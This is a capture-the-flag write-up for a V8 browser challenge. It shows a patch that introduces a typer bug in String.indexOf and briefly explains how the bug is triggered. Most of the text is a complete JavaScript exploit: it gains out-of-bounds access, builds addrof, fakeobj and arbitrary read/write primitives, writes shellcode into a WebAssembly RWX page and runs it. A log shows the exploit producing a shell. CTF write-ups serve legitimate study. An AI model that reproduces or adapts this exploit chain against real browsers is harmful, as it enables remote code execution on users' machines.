UIUCTF shouldve-had-a-v8 Browser Challenge Mini Writeup

Vulnerability

Patch file :

diff --git a/src/compiler/js-create-lowering.cc b/src/compiler/js-create-lowering.cc index 899922a27f..aea23fe7ea 100644 --- a/src/compiler/js-create-lowering.cc +++ b/src/compiler/js-create-lowering.cc @@ -681,7 +681,7 @@ Reduction JSCreateLowering::ReduceJSCreateArray(Node* node) { int capacity = static_cast<int>(length_type.Max()); // Replace length with a constant in order to protect against a potential // typer bug leading to length > capacity. - length = jsgraph()->Constant(capacity); + //length = jsgraph()->Constant(capacity); return ReduceNewArray(node, length, capacity, *initial_map, elements_kind, allocation, slack_tracking_prediction); } diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index 0f18222236..0f76ad896e 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -2073,7 +2073,7 @@ Type Typer::Visitor::TypeStringFromCodePointAt(Node* node) { } Type Typer::Visitor::TypeStringIndexOf(Node* node) { - return Type::Range(-1.0, String::kMaxLength, zone()); + return Type::Range(0, String::kMaxLength, zone()); } Type Typer::Visitor::TypeStringLength(Node* node) { ------------------------------------------------------------------------------------

Basically the vulnerability is a range miscalculation. The optimizer's assumptions are wrong about the range of values string.indexOf can return and the optimizer misses the -1 case. Because of this, when -1 occurs, there is a difference between the inferred value and actual value. We use this confusion to create an array having length greater than its length because in ReduceJSCreateArray the length is calculated by the graph generated by the optimizer.

Helpful links :

P0 blogpost

JeremyFetiveau Exploit

Exploit

So the goal is creating an array with length -1 however -1 wont work directly.

Here is an example failed attempt :

  • new Array("".indexOf('A'))

This fails is because turbofan will optimize away the "".indexOf('A')) to a constant 0 so eventually we get an array of length 0. We need to put and object with a string property inside trigger function to keep the constant folding from happening too soon. Note : when you tried things like Math.min. So we need to delay that until a phase after that, but before Simplified Lowering, in order to successfully trigger the Array(-1)

Reference :

Exploiting the Math.expm1 typing bug in V8

When we got oob access then rest of the part is about :

  • Getting addrof
  • Gaining read and write primitives
  • Creating a Wasm Page (RWX)
  • Inject shellcode
var conversion_buffer = new ArrayBuffer(8); var float_view = new Float64Array(conversion_buffer); var int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } function gc() { for (var i = 0; i < 0x10000; ++i) var a = new ArrayBuffer(); } if (typeof print === undefined) { var print = console.log; } var shellcode = [4.349575388168352e+199, 1.0543077975713235e-68, 1.9656830452247845e-236, 1.288531947997e-312, -6.828527034370483e-229]; function pwn() { gc(); var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var module = new WebAssembly.Module(code); var instance = new WebAssembly.Instance(module); var main = instance.exports.main; function trigger(foo) { let obj = {s: foo ? "" : "fuck"}; var x = String.prototype.indexOf.call(obj.s, "fuck"); x = x >> 30; let oob_smi = new Array(x); return oob_smi; } for (var i = 0; i < 0x4000; i++) { trigger(false); } let oob_double = trigger(true); print("[+] oob_double.length = " + oob_double.length); new Promise(() => { oob_double[0] = 3.14; let arr_victim = [{}]; function addrof(obj) { arr_victim[0] = obj; return (oob_double[1].f2i() & 0xffffffffn) - 1n; } function fakeobj(addr) { oob_double[1] = (addr | 1n).i2f(); return arr_victim[0]; } let addr_proto = addrof(Array.prototype); print("[+] addr_proto = " + addr_proto.hex()); let fake_map = [ 0x1604040487654321n.i2f(), 0x0a0007ff2100043dn.i2f(), (addr_proto | 1n).i2f() ]; let addr_fake_map = addrof(fake_map) + 0x34n; console.log("[+] fake_map = " + addr_fake_map.hex()); let real_array = [(addr_fake_map | 1n).i2f(), 3.14]; real_array[1] = 2.17; let addr_fake_array = addrof(real_array) - 0x10n; console.log("[+] fake_array = " + addr_fake_array.hex()); let fake_array = fakeobj(addr_fake_array); function half_aar64(addr) { real_array[1] = (0x888800000001n | (addr-8n)).i2f(); return fake_array[0].f2i(); } function half_aaw64(addr, value) { real_array[1] = (0x888800000001n | (addr-8n)).i2f(); fake_array[0] = value.i2f(); } function half_cleanup() { real_array[0] = 0.0; real_array[1] = 0.0; } let leaker = new Uint8Array(1); let addr_leaker = addrof(leaker); let compress_high = half_aar64(addr_leaker + 0x28n) & 0xffffffff00000000n; console.log("[+] high = " + compress_high.hex()); let evil = new Float64Array(0x10); let addr_evil = addrof(evil); console.log("[+] addr_evil = " + addr_evil.hex()); let orig_evil = half_aar64(addr_evil + 0x28n); function full_aar64(addr) { half_aaw64(addr_evil + 0x28n, addr); return evil[0].f2i(); } function full_aaw64(addr, value) { half_aaw64(addr_evil + 0x28n, addr); evil[0] = value.i2f(); } function full_cleanup() { half_aaw64(addr_evil + 0x28n, orig_evil); } let addr_instance = addrof(instance); console.log("[+] addr_instance = " + addr_instance.hex()); let addr_shellcode = half_aar64(addr_instance + 0x68n); console.log("[+] addr_shellcode = " + addr_shellcode.hex()); for (let i = 0; i < shellcode.length; i++) { full_aaw64(addr_shellcode + BigInt(i*8), shellcode[i].f2i()); } main(); full_cleanup(); half_cleanup(); }).then(); } pwn();

Thanks for help ptr-yudai

Result :

./d8 ./exploit.js [+] oob_double.length = -1 [+] addr_proto = 0x820b958 [+] fake_map = 0x80aaf60 [+] fake_array = 0x80ab0a0 [+] high = 0x210500000000 [+] addr_evil = 0x80ab400 [+] addr_instance = 0x82134d4 [+] addr_shellcode = 0x214a689cb000 $ id uid=1000(test) gid=1000(test) groups=1000(test)